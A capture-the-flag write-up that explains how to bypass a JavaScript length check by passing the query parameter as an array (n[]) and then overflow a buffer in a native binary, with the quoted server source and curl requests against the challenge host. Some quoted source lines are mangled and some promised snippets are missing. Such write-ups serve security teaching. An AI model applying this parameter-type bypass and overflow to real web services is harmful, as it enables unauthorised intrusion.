# GETS Request

## Disclaimer

I did not solve the challenge in time. I found the solution on discord, later. This write-up helps you understand the detailed solution.

## TL;DR

• The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter - n
• Length of the get parameter is checked using length attribute in js
• This length check can be bypassed using passing n as an array like n[]. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1.
• And the input is passed as an argument to a binary. But there was no buffer length check inside the binary.
• So this is a classic case of Buffer Overflow!.
• Here, just generating a segmentation-fault would give us the flag.

## Source code

const spawn = require('child_process').spawn;

const express = require('express');
const PORT = process.env.PORT || 1337;
const app = express();

const BUFFER_SIZE = 8;

app.get('/prime', (req, res) => {
if(!req.query.n) {
res.status(400).send('Missing required parameter n');
return;
}

// Here to check the length of n, length attribute is used
if(req.query.n.length > BUFFER_SIZE) {
res.status(400).send('Requested n too large!');
return;
}

let output = '';
const proc = spawn(__dirname + '/primegen');
proc.stdout.on('data', data => output += data.toString());
proc.on('exit', () => res.send(output));

// call our super-efficient native prime generator!
// Here, the user input is passed as argument to primegen binary
proc.stdin.write(${req.query.n}\n); }) app.use('/', (req, res) => { res.sendFile(__dirname + '/index.html'); }); app.use('*', (req, res) => { res.status(404).send('Not Found'); }); app.listen(PORT, () => { console.log(prime generator listening at http://localhost:${PORT})
})



## Solution

### Littile quirk in javascript

Take a look at following javascript code Array is concatenated with a string -

It’s like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a , (comma) between the elements. So it a single element is provided the 'hello' and ['hello'] are treated same in certain scenario. So let’s make use of this later.

### Length check bypass

In line 45 in above source code, there length check of n using length attribute. This attribute can also be used with the array to give number of elements in the array. Look the code below -

Notice the difference!!

So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary.

### Exploitation

The request to get the primes count -

curl https://gets.sdc.tf/prime?n=1000

There are exactly 192 primes under 1000


Trying larger number (more than 8 digits) as input -

curl https://gets.sdc.tf/prime?n=123456789

Requested n too large!


Send the same number as an array -

curl https://gets.sdc.tf/prime?n[]=123456789

number malformed


Cool. We didn’t hit the check now. But the binary doesn’t accept this number.

As mentioned in the description, about memory issues, an ideal thought would be memory corruption, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS.

With this in mind, trying a larger number to overflow the buffer may cause a Segmentation Fault.

Trying larger input -

curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555


## Takeaways

• Try in different ways to bypass checks and other functionalities. Search for quirks. Google it.
• Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation.

Happy Hacking!

Feel free to provide feedback.